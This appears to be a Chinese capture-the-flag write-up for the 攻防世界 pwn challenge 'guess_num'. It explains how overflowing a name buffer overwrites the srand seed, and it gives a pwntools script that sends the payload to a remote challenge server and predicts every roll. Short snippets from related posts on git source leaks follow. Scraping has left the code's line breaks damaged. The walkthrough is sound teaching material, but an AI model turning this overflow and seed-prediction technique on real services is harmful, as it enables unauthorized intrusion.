64位以及各種防護全開
執行一下邏輯,的確是乙個猜數遊戲
進64位ida反編譯main函式
出原始碼
摘**
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
v5 =
"success!"
; puts(
"success!");
} sub_c3e(v5)
;#該函式可以cat flag
result = 0ll;
v7 =
*mk_fp(__fs__, 40ll)
^ v13;
return result;
}
這裡涉及到乙個東西,c語言的rand函式以及srand函式
rand()函式每次呼叫前都會查詢是否呼叫過srand(seed),是否給seed設定了乙個值,如果有那麼它會自動呼叫srand(seed)一次來初始化它的起始值。若之前沒有呼叫srand(seed),那麼系統會自動給seed賦初始值,即srand(1)自動呼叫它一次 。
srand()函式需要提供乙個種子,如srand(1),用1來初始化種子
rand()產生隨機數時,如果用srand(seed)播下種子之後,一旦種子相同(下面的getpid方法),產生的隨機數將是相同的。
簡而言之,c的隨機數在seed存在的情況下便無法真正的隨機,如果我們強制給seed賦值並使用該seed去初始rand(),那rand就成為可控變數了。
因此在這裡我們構造v10溢位的時候是將內容溢位給seed,從而讓seed唯一,繼而讓後續的隨機數相同來滿足if條件
雙擊v10變數
v10到seed之間的距離是0x20,將這0x20個空間打滿之後,溢位的內容就會給seed,而種子一旦確定,後面的迴圈也就有了規律,從而容易滿足
from pwn import
*from ctypes import
*r = remote(
'220.249.52.133'
,45485
)#這裡利用libc後期設定隨機數種子
libc = cdll.loadlibrary(
"/lib/x86_64-linux-gnu/libc.so.6"
)#前0x20個空間堵死,剩餘的內容給seed,把種子設定為1
payload =
"a"*
0x20
+p64(1)
r.sendlineafter(
"your name:"
,payload)
#初始化種子為1
libc.srand(1)
for i in
range(10
):#這裡的隨機數就已經是順序有規律一致的了
num =
str(libc.rand()%
6+1)
r.recvuntil(
'number:'
) r.sendline(num)
r.interactive(
)
執行:
參考
攻防世界 pwn guess num
a 程式分析 分析程式發現連續輸入密碼正確10次即可獲取flag 通過輸入使用者名稱可以覆蓋srand的種子,srand rand為偽隨機,種子一樣時隨機數相同 進行隨機數比較時 額外進行了加密 b 分析利用 1 分析加密演算法 2 通過使用者名稱覆蓋rbp 10h,使種子為我們指定的,在通過編寫程...
攻防世界mfw 攻防世界 Web mfw
題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...
攻防世界Web lottery
開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...